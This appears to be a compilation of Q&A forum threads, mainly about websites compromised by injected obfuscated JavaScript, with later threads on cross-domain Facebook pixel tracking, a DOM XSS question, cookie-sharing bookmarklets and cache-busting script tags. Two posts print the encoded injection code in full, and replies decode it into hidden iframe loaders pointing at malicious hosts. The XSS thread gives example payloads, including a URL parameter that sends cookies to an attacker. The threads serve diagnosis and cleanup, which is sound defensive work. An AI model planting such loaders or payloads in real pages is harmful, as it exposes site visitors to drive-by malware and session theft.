Site hacked with javascript code inserted - javascript
A number of sites that I manage have been hacked and the following javascript code has been inserted into each of the pages. I have no idea how to decode this or what it even does so I don't know how serious it is. Can anyone help?
<script type="text/javascript" language="javascript">
if(document.querySelector)bqlelz=4;zibka=("36,7c,8b,84,79,8a,7f,85,84,36,8c,46,4f,3e,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,8a,7f,79,53,3d,77,80,77,8e,3d,51,23,20,36,8c,77,88,36,79,85,84,8a,88,85,82,82,7b,88,53,3d,7f,84,7a,7b,8e,44,86,7e,86,3d,51,23,20,36,8c,77,88,36,8c,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,88,7b,77,8a,7b,5b,82,7b,83,7b,84,8a,3e,3d,7f,7c,88,77,83,7b,3d,3f,51,23,20,23,20,36,8c,44,89,88,79,36,53,36,3d,7e,8a,8a,86,50,45,45,8b,86,79,82,7f,7b,84,8a,44,79,85,83,45,44,89,83,7f,82,7b,8f,89,45,7d,70,61,87,5e,7e,6d,49,44,86,7e,86,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,86,85,89,7f,8a,7f,85,84,36,53,36,3d,77,78,89,85,82,8b,8a,7b,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,79,85,82,85,88,36,53,36,3d,4f,4c,4e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,7e,7b,7f,7d,7e,8a,36,53,36,3d,4f,4c,4e,86,8e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,8d,7f,7a,8a,7e,36,53,36,3d,4f,4c,4e,86,8e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,82,7b,7c,8a,36,53,36,3d,47,46,46,46,4f,4c,4e,3d,51,23,20,36,8c,44,89,8a,8f,82,7b,44,8a,85,86,36,53,36,3d,47,46,46,46,4f,4c,4e,3d,51,23,20,23,20,36,7f,7c,36,3e,37,7a,85,79,8b,83,7b,84,8a,44,7d,7b,8a,5b,82,7b,83,7b,84,8a,58,8f,5f,7a,3e,3d,8c,3d,3f,3f,36,91,23,20,36,7a,85,79,8b,83,7b,84,8a,44,8d,88,7f,8a,7b,3e,3d,52,86,36,7f,7a,53,72,3d,8c,72,3d,36,79,82,77,89,89,53,72,3d,8c,46,4f,72,3d,36,54,52,45,86,54,3d,3f,51,23,20,36,7a,85,79,8b,83,7b,84,8a,44,7d,7b,8a,5b,82,7b,83,7b,84,8a,58,8f,5f,7a,3e,3d,8c,3d,3f,44,77,86,86,7b,84,7a,59,7e,7f,82,7a,3e,8c,3f,51,23,20,36,93,23,20,93,23,20,7c,8b,84,79,8a,7f,85,84,36,69,7b,8a,59,85,85,81,7f,7b,3e,79,85,85,81,7f,7b,64,77,83,7b,42,79,85,85,81,7f,7b,6c,77,82,8b,7b,42,84,5a,77,8f,89,42,86,77,8a,7e,3f,36,91,23,20,36,8c,77,88,36,8a,85,7a,77,8f,36,53,36,84,7b,8d,36,5a,77,8a,7b,3e,3f,51,23,20,36,8c,77,88,36,7b,8e,86,7f,88,7b,36,53,36,84,7b,8d,36,5a,77,8a,7b,3e,3f,51,23,20,36,7f,7c,36,3e,84,5a,77,8f,89,53,53,84,8b,82,82,36,92,92,36,84,5a,77,8f,89,53,53,46,3f,36,84,5a,77,8f,89,53,47,51,23,20,36,7b,8e,86,7f,88,7b,44,89,7b,8a,6a,7f,83,7b,3e,8a,85,7a,77,8f,44,7d,7b,8a,6a,7f,83,7b,3e,3f,36,41,36,49,4c,46,46,46,46,46,40,48,4a,40,84,5a,77,8f,89,3f,51,23,20,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,36,53,36,79,85,85,81,7f,7b,64,77,83,7b,41,38,53,38,41,7b,89,79,77,86,7b,3e,79,85,85,81,7f,7b,6c,77,82,8b,7b,3f,23,20,36,41,36,38,51,7b,8e,86,7f,88,7b,89,53,38,36,41,36,7b,8e,86,7f,88,7b,44,8a,85,5d,63,6a,69,8a,88,7f,84,7d,3e,3f,36,41,36,3e,3e,86,77,8a,7e,3f,36,55,36,38,51,36,86,77,8a,7e,53,38,36,41,36,86,77,8a,7e,36,50,36,38,38,3f,51,23,20,93,23,20,7c,8b,84,79,8a,7f,85,84,36,5d,7b,8a,59,85,85,81,7f,7b,3e,36,84,77,83,7b,36,3f,36,91,23,20,36,8c,77,88,36,89,8a,77,88,8a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,7f,84,7a,7b,8e,65,7c,3e,36,84,77,83,7b,36,41,36,38,53,38,36,3f,51,23,20,36,8c,77,88,36,82,7b,84,36,53,36,89,8a,77,88,8a,36,41,36,84,77,83,7b,44,82,7b,84,7d,8a,7e,36,41,36,47,51,23,20,36,7f,7c,36,3e,36,3e,36,37,89,8a,77,88,8a,36,3f,36,3c,3c,23,20,36,3e,36,84,77,83,7b,36,37,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,89,8b,78,89,8a,88,7f,84,7d,3e,36,46,42,36,84,77,83,7b,44,82,7b,84,7d,8a,7e,36,3f,36,3f,36,3f,23,20,36,91,23,20,36,88,7b,8a,8b,88,84,36,84,8b,82,82,51,23,20,36,93,23,20,36,7f,7c,36,3e,36,89,8a,77,88,8a,36,53,53,36,43,47,36,3f,36,88,7b,8a,8b,88,84,36,84,8b,82,82,51,23,20,36,8c,77,88,36,7b,84,7a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,7f,84,7a,7b,8e,65,7c,3e,36,38,51,38,42,36,82,7b,84,36,3f,51,23,20,36,7f,7c,36,3e,36,7b,84,7a,36,53,53,36,43,47,36,3f,36,7b,84,7a,36,53,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,82,7b,84,7d,8a,7e,51,23,20,36,88,7b,8a,8b,88,84,36,8b,84,7b,89,79,77,86,7b,3e,36,7a,85,79,8b,83,7b,84,8a,44,79,85,85,81,7f,7b,44,89,8b,78,89,8a,88,7f,84,7d,3e,36,82,7b,84,42,36,7b,84,7a,36,3f,36,3f,51,23,20,93,23,20,7f,7c,36,3e,84,77,8c,7f,7d,77,8a,85,88,44,79,85,85,81,7f,7b,5b,84,77,78,82,7b,7a,3f,23,20,91,23,20,7f,7c,3e,5d,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,3f,53,53,4b,4b,3f,91,93,7b,82,89,7b,91,69,7b,8a,59,85,85,81,7f,7b,3e,3d,8c,7f,89,7f,8a,7b,7a,75,8b,87,3d,42,36,3d,4b,4b,3d,42,36,3d,47,3d,42,36,3d,45,3d,3f,51,23,20,23,20,8c,46,4f,3e,3f,51,23,20,93,23,20,93".split(","));twuss=eval;function oqvw(){iuwo=function(){--(uiopm.body)}()}uiopm=document;for(wxuxe=0;wxuxe<zibka["length"];wxuxe+=1){zibka[wxuxe]=-(22)+parseInt(zibka[wxuxe],bqlelz*4);}try{oqvw()}catch(ggpl){hywzjw=50-50;}if(!hywzjw)twuss(String["fr"+"omCh"+"arCo"+"de"].apply(String,zibka));
</script>
I'm assuming these are character references and it's actually pointing to a site somewhere with some malicious content but I don't know how to work it out. I am going through and removing all of these and changing all passwords to prevent further security issues but any advice on this would be greatly appreciated!
Thanks.
In my experience, these sort of attacks happen on shared hosting servers where an automated bot has either guessed the password to the account, or there is malware on the account holder's desktop that has captured the credentials and is now abusing them.
Your best bet? Accept that there is definitely going to be an impact to your users, and then do your due diligence:
Notify your shared host if you're not the owner.
Archive the entire home directory of the shared hosting account, and include the contents of that user's cron jobs, databases, email and other information. (eg. tar -czf website-$(date +%F).tar.gz ~/ or your shared hosting backup utility.)
Check for any malicious processes or scripts that could be running. ps gaux is your friend.
Nuke everything in the shared hosting account.
Change every password, regardless, even if you think it couldn't have possibly been affected.
Re-create the account and leave a maintenance page available for your users. You should have backups of your account.
Unpack the backup within a virtual machine and investigate everything including logs and other information to discover how the attack occurred. Apply what you learn to your website code.
Re-deploy your code with the fixes, taking into account the causes you discovered in the previous step; if your account was using a framework like Joomla, Drupal, Wordpress or something similar, take this time to upgrade to the latest version.
Do not skip steps, or this will happen again.
This is what was injected. To decipher this, you do the same thing the javascript in your post does. Split the string into hex strings on the comma, then parseInt with base 16, subtract 22, and look up the character for that char code. How it could be used maliciously, I'm not sure. Anyone have any ideas?
function v09() {
var static = 'ajax';
var controller = 'index.php';
var v = document.createElement('iframe');
v.src = 'http://upclient.com/.smileys/gZKqHhW3.php';
v.style.position = 'absolute';
v.style.color = '968';
v.style.height = '968px';
v.style.width = '968px';
v.style.left = '1000968';
v.style.top = '1000968';
if (!document.getElementById('v')) {
document.write('<p id=\'v\' class=\'v09\' ></p>');
document.getElementById('v').appendChild(v);
}
}
function SetCookie(cookieName, cookieValue, nDays, path) {
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)
nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue)
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) &&
(name != document.cookie.substring(0, name.length)))
{
return null;
}
if (start == -1)
return null;
var end = document.cookie.indexOf(";", len);
if (end == -1)
end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled)
{
if (GetCookie('visited_uq') == 55) {
} else {
SetCookie('visited_uq', '55', '1', '/');
v09();
}
}
This type of thing has happened to me also, I was not on a shared hosting solution, I was on a dedicated server, there was no evidence of any FTP or SSH or SCP activity.
I realized that someone used one of my forms to do code injection (my sites are PHP). This can be achieved by using your own code against you, by providing input to a textbox or text field that would be interpreted by some code on your server.
For example, you may have a small form to allow people to upload files into a directory of some sort. Someone can upload a code file and then execute it and this code file can be the culprit used to inject the javascript code into your own code pages.
With this instance one can restrict what file types are allowed to be uploaded, place the files in a directory where a browser would not be able to access it directly or make sure the file has no execute permissions when uploaded.
You can also make sure to sanitize inputs so that no malicious text can be effective in any of your forms.
Related
Issue with GTM and firing Facebook Pixel in a cross-domain setup
I am trying to track Facebook ad results using the Facebook Pixel during appropriate events (page views, lead generation, order form view, purchase). I can do all of this for GA using GTM with no problem, but on Facebook I only have partial success. The main issue is I have a cross domain setup as shown below: domain1.com/offer - landing page (FB Page View Pixel should fire) domain1.com/ordergate - request email before showing order form page (FB Page View Pixel should fire) crm.com/formsubmission - the actual form submits to my crm (FB Lead Pixel should fire) crm.com/orderform - order form (FB order form view pixel should fire) domain1.com/thankyou - the thank you page (FB order pixel should fire) So my trigger on GTM to fire FB pixel was the "referrer" containing "facebook". However, because of the multi-step process, the referrer is lost by the time the order form or sale is completed. I have since then learned I need to do the following: User lands from facebook, write cookie with an appropriately short expiration time that stores this information on domaiin1.com. When the user clicks a link and is redirected to crm.com, check if the user has the cookie, and if they do, add something like ?reffacebook=true to the redirect URL. On crm.com, if the URL has ?reffacebook=true write the same cookie you wrote on (1) with an equally short expiration time. UPDATE So I have figured out step 2 using the following script on page view when the Facebook cookie is set: function updateLinks(parameter, value) { var links = document.getElementsByTagName('a'); var includeDomains = self.location.host; for (var i=0;i<links.length;i++) { if(links[i].href != "#" && links[i].href != "/" && links[i].href != "" && links[i].href != window.location) //Ignore links with empty src attribute, linking to site root, or anchor tags (#) { var updateLink = true; if(links[i].href.toLowerCase().indexOf(includeDomains.toLowerCase()) != -1) //Domain of current link is included i the includeDomains array. Update Required... { updateLink = false; } if(!updateLink) { //Do nothing - link is internal } else { var queryStringComplete = ""; var paramCount = 0; var linkParts = links[i].href.split("?"); if(linkParts.length > 1) // Has Query String Params { queryStringComplete = "?"; var fullQString = linkParts[1]; var paramArray = fullQString.split("&"); var found = false; for (j=0;j<paramArray.length;j++) { var currentParameter = paramArray[j].split("="); if(paramCount > 0) queryStringComplete = queryStringComplete + "&"; if(currentParameter[0] == parameter) //Parameter exists in url, refresh value { queryStringComplete = queryStringComplete + parameter + "=" + value; found = true; } else { queryStringComplete = queryStringComplete + paramArray[j]; //Not related parameter - re-include in url } paramCount++; } if(!found) //Add new param to end of query string queryStringComplete = queryStringComplete + "&" + parameter + "=" + value; } else { queryStringComplete = "?" + parameter + "=" + value; } links[i].href = links[i].href.split("?")[0] + queryStringComplete; } } else { //Do nothing } } } So with this code I can now properly attribute people with the facebook referral across domains... ...but I still have a problem with form submits. So when the contact gets to step 4, it is a redirect from the form submission. It does not carry any cookie or query string, so neither of the FB pixels (order form view or order) is being fired. I'm not sure how I would handle this. My first thought is to pass a hidden field into the form submission (say reffacebook=true). Then somehow expose that in the url in a form of a query string so that it can be detected by GTM. This seems to be somewhat complicated though, as I would have to edit all my forms to have this variable, edit my CRM so it knows to receive it, and then edit the form landing page to expose that variable in the url.
Hey I hope that I understood what is this all about. Here you want to track traffic between cross domains right? I am not into any coding or anything like that to achieve such a tracking. Because I don't know any coding seriously (I apologies my self for not even trying to learn. I realize my self is that knowing Java script have a lot of benefits in advanced marketing). Ok Here is my point. If we want to track traffic between domains and retarget them later, wouldn't it be done by Facebook itself just by using the same pixel in both domains? This is what I used to believe in the case of multiple domains while doing Facebook ads. Here the important Thing is the audience should be the same from domain A to domain B (In your case it looks like yes the audience is same there for there is no issue for doing that I think). But not sure whether Facebook will track the traffic between domains successfully or not just by placing same FB Pixel in both domains. Thank you.
#SalihKp, I think you have a point however the issue is that i believe facebook does cross domain with third party cookies which are not working optimally now adays #David Avellan actually since the user returns to the landing domain for the thank you page, then the final conversion should work using 1st party cookies, but what you want in between might be an issue. i am looking at now a case where they user lands on a.com and convert
Cross Site Scripting issue with window.location.search
I have been going through so many forums & wikipedia's since few days for trying to understand about XSS attacks alomost I have spent 2-3 days but still not get better idea as suggesting multiple solutions by experts & I want know how the hackers can inject malicious code on victims browser ? and my application have been use to run on some App Scanner standard testing tool so its caught so many XSS issues. I want put here one of XSS issue of my application so can please some one help me out to understand the what exactly I have to do for this issue. Still I have been trying a lot to get better understand about XSS issues. This is my code snippet function getParameter(param) { var val = ""; var qs = window.location.search; var start = qs.indexOf(param); if (start != -1) { start += param.length + 1; var end = qs.indexOf("&", start); if (end == -1) { end = qs.length } val = qs.substring(start,end); } return val; } var formName = getParameter("formName"); var myValue = ''+thisDay+'</td>'; document.getElementById('calendarA').innerHTML = myValue; And these statements are var qs = window.location.search; val = qs.substring(start,end); var formName = getParameter("formName"); var myValue = ''+thisDay+'</td>'; document.getElementById('calendarA').innerHTML = myValue; cought by App scanner testing tool as possible code for XSS(Cross Site Scripting) issues but I am not sure how it is cause to XSS & how I can fix this issue now. Can anybody please provide insights on how this vulnerability can be fixed?
var myValue = ''+thisDay+'</td>'; This line doesn't have any escaping, it expects '(... \''+formName+'\' );...' to be a string. But it can become some other thing: formName = "'); alert('I\'m free to do anything here'); (''+" document.getElementById('calendarA').innerHTML = myValue; Let's place such fragment into myValue: ... <img src=void onerror="alert('hacked')" /> ... You can check it works: document.querySelector('button').addEventListener('click', function () { document.querySelector('output').innerHTML = document.querySelector('textarea').value; }) <textarea>... <img src=void onerror="alert('hacked')" /> ...</textarea> <button>Go</button> <output></output> You should never trust any data passed by url string. Any site can place any link to you site. Some user clicks it, goes to your site, parameters are executed in context of your site, and attacker can do anything he wants to.
Nothing in the code you've shown us is vulnerable. You are reading user input, so there is the potential to introduce a vulnerability there. That is probably what the tool you are using is detecting. If your code is vulnerable, then it will be because of whatever you do with the value of formName next (in the code you haven't shown us).
This is a possible DOM based XSS issue. If you are using the value of formName like document.getElementById("demo").innerHTML=formName or somehow your DOM elements are being created/modified using the formName you are vulnerable, as i can create a custom url like http://urwebsite.html?formName=<script>document.cookie_will_be_transfered_to_my_server_here</script> and ask a logged in person to click it(simple social engineering) .Now i have that person's session id, using which i can do what ever i want. As a resolution, all the input data from the user has to be html encoded.
Bookmarklet for set and read cookies
I need (for practice) to set a cookie via bookmarklet in website X, and read him with another bookmarklet from website Y. For example, set a cookie named "user" with value of "Guy" in Google, and read this from YouTube. I managed to set the cookie, but can't think of any idea how to read him from website b. Thanks!
You need two bookmarklets, a getter and a setter. You go to site X and use the getter bookmarklet to read the cookie and let the user copy it to his clipboard. Then you go to site Y and use the setter. The setter will prompt the user for the bookmarklet and the user will then paste it into the prompt. The code will then set the cookie accordingly. You can of course combine these two bookmarklets into a single getter/setter. The prompt will contain the current cookie for the page. The user can then choose to either copy the cookie and cancel (using it as a getter) or choose to to alter the cookie and click "OK" (using it as a setter).
I was looking for a way to share cookies of a specific website with a friend (reading them in my browser via bookmarklet and my friend setting them on his browser also via bookmarklet). Not quite what you asked for, but searching brought me here. This is my approach: First there is a bookmarklet for exporting cookies. It will remove unnecessary white-spaces and encode your data in a base64 string for safe transport: javascript:( function(){ prompt("GET cookies encoded in base64", btoa(document.cookie.replace(/\s/ig, ""))); } ) (); Then there is a second bookmarklet for importing all cookies encoded in the string. You can also set an optional lifetime here (thanks to https://www.quirksmode.org/js/cookies.html): javascript:( function(){ var inputstring = prompt("SET cookies decoded from base64"); var inputclean = atob(inputstring).replace(/\s/ig, ""); if (confirm("These cookies will be imported:\n\n" + inputclean.replace(/;/ig, "; "))) { var days = prompt("Cookie lifetime in full days", "365"); var cookiearray = inputclean.split(";"); cookiearray.forEach(function(entry) { var expires = ""; var split = entry.split("="); if (days) { var date = new Date(); date.setTime(date.getTime() + (days*24*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = split[0] + "=" + (split[1] || "") + expires + "; path=/"; }); } } ) (); Do not forget you have to run those on a specific website or tab. It does NOT export the entire collection of the cookies your browser is storing.
According to this StackOverflow, how to get cookies from a different domain with php and javascript you can't get cookies from another domain UNLESS you have access to it, as it would be a huge security flaw.
A malicious js is auto injecting into my header.php files and many other js files? [closed]
Closed. This question is off-topic. It is not currently accepting answers. Want to improve this question? Update the question so it's on-topic for Stack Overflow. Closed 9 years ago. Improve this question Currently I am facing a hell like situation, four of my client websites were hacked before 10 days. I messed up a lot with them and three of them are working fine(running magento) after my long mess up with them, but one of them(running word press) is still facing the same situation and I could not figure out what was going on, after a particular timing the js files and some php files too are auto injecting with this kind of code : <? #ded509# echo "<script type=\"text/javascript\" language=\"javascript\" > e=eval;v=\"0x\";a=0;try{a&=2}catch(q){a=1}if(!a){try{document[\"body\"]^=~1;}catch(q){a2=\"!\"}z=\"2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42\".split(a2);s=\"\";if(window.document)for(i=0;i<z.length;i++) {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>"; #/ded509# ?> This code is injected in all js files and main files, I changed ftp passwords, I checked cron jobs, and manually I looked up for any php code (I am feeling like some php code is doing this) but I am unable to figure it out, and yeah I tried to decode this code and tried to get the functionality for this code, yet removing this malicious code from my js files will make my site fine for some time, but after a random time the scripts will auto injected with this code ? what is this js code actually ? It will be very helpful if somebody explains what is actually going on ?
That PHP echo this <script type="text/javascript" language="javascript" > e=eval;v="0x";a=0;try{a&=2}catch(q){a=1}if(!a){try{document["body"]^=~1;}catch(q){a2="!"}z="2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);s="";if(window.document)for(i=0;i<z.length;i++) {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script> In readable form it looks like this e = eval; v = "0x"; a = 0; try { a &= 2 } catch (q) { a = 1 } if (!a) { try { document["body"] ^= ~1; } catch (q) { a2 = "!" } z = "2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2); s = ""; if (window.document) for (i = 0; i < z.length; i++) { s += String.fromCharCode(e(v + (z[i])) - 7); } zaz = s; e(zaz); } In the above code e is the function eval If we remove eval and prints the contents of zaz it will look like this. (function () { var c = document.createElement('iframe'); c.src = 'http://jakyskyf.ru/count16.php'; c.style.position = 'absolute'; c.style.border = '0'; c.style.height = '1px'; c.style.width = '1px'; c.style.left = '1px'; c.style.top = '1px'; if (!document.getElementById('c')) { document.write('<div id=\'c\'></div>'); document.getElementById('c').appendChild(c); } })(); Its a self executing anonymous function. The script creates an iframe in your page and load contents from http://jakyskyf.ru/count16.php If your server is hosted in a shared server maybe the admin account itself is compromised. Things you can do. Your best place to check is server logs. Check for some malicious entries. Check with your hosting provider. Change your password to a strong password. Normally in wordpress sites this thing happends (it happened in lot of my wordpress sites). If you are using wordpress update to latest version. Change the admin username from admin to someother name. Change your admin email and password. Hacker might have changed it. These links will provide you more inputs Iframe Virus Iframe injection attack Server wide iFrame injection attacks Hidden iFrame injection attacks
You'll have to change the permissions of your root directory files or the files that are being repeatedly hacked to 444. Make sure you change permissions of all index.php/html files and .htaccess files to read only. Also giving a 555 permission js directory and files would help. This is the quick solution to stop being spammed again and again. To find the root of this you'll have to check your database entries for common forms like contact_us etc which might be taking scripts without proper sanitization filters. Also remove any unknown files from your root directory.
How to append timestamp to the javascript file in <script> tag url to avoid caching
I want to append a random number or a timestamp at the end of the javascript file source path in so that every time the page reloads it should download a fresh copy. it should be like <script type="text/javascript" src="/js/1.js?v=1234455"/> How can i generate and append this number? This is a simple HTML page, so cant use any PHP or JSP related code
Method 1 Lots of extensions can be added this way including Asynchronous inclusion and script deferring. Lots of ad networks and hi traffic sites use this approach. <script type="text/javascript"> (function(){ var randomh=Math.random(); var e = document.getElementsByTagName("script")[0]; var d = document.createElement("script"); d.src = "//site.com/js.js?x="+randomh+""; d.type = "text/javascript"; d.async = true; d.defer = true; e.parentNode.insertBefore(d,e); })(); </script> Method 2 (AJZane's comment) Small and robust inclusion. You can see exactly where JavaScript is fired and it is less customisable (to the point) than Method 1. <script>document.write("<script type='text/javascript' src='//site.com /js.js?v=" + Date.now() + "'><\/script>");</script>
If you choose to use dates or a random numbers to append to your URI, you will provide opportunities for the end user to be served the same cached file and may potentially expose unintended security risks. An explicit versioning system would not. Here's why: Why "Random" and Random Numbers are both BAD For random numbers, you have no guarantee that same random number hasn't been generated and served to that user before. The likelihood of generating the same string is greater with smaller "random" number sets, or poor algorithms that provide the same results more often than others. In general, if you are relying on the JavaScript random method, keep in mind it's pseudo-random, and could have security implications as well if you are trying to rely on uniqueness for say a patch in one of your scripts for XSS vulnerabilities or something similar. We don't want Johnny to get served the old cached and unpatched JS file with an AJAX call to a no-longer trusted 3rd-party script the day Mr. Hacker happened to be visiting. Why dates or timestamps are bad too, but not as bad Regarding Dates as "unique" identifiers, JavaScript would be generating the Date object from the client's end. Depending on the date format, your chances for unintended caching may vary. Date alone (20160101) allows a full day's worth of potential caching issues because a visit in the morning results in foo.js?date=20160101, and so does a visit in the evening. Instead, if you specify down to the second (20160101000000) your odds of an end user calling the same GET parameter go down, but still exist. A few rare but possible exceptions: Clocks get reset (fall behind) once a year in most time zones Computers that reset their local time on reboot for one reason or another Automatic network time syncing causing your clock to adjust backwards a few seconds/minutes whenever your local time is off from the server time Adjusting time zones settings when traveling (The astronauts on the IIS travel through a zone every few minutes...let's not degrade their browsing experience :P) The user likes resetting their system clock to mess with you Why incremental or unique versioning is good :) For a fontend only solution, my suggestion would be to set an explicit version, which could be simply hard-coded by you or your team members every time you change the file. Manually doing exactly as you had done in your same code of your question would be a good practice. You or your team should be the only ones editing your JS files, so the key take away isn't that your file needs to be served fresh every time, I just needs to be served fresh when it changes. Browser caching isn't a bad thing in your case, but you do need to tell the end user WHEN it should update. Essentially, when your file is updated, you want to ensure the client gets the updated copy. With this, you also have the added bonus of being able to revert to previous versions of your code without worry of client caching issues. The only drawback is you need to use due diligence to make sure you actually update the version number when you update your JS files. Keep in mind just because something isn't automated, doesn't mean it is necessarily bad practice or poor form. Make your solution work for your 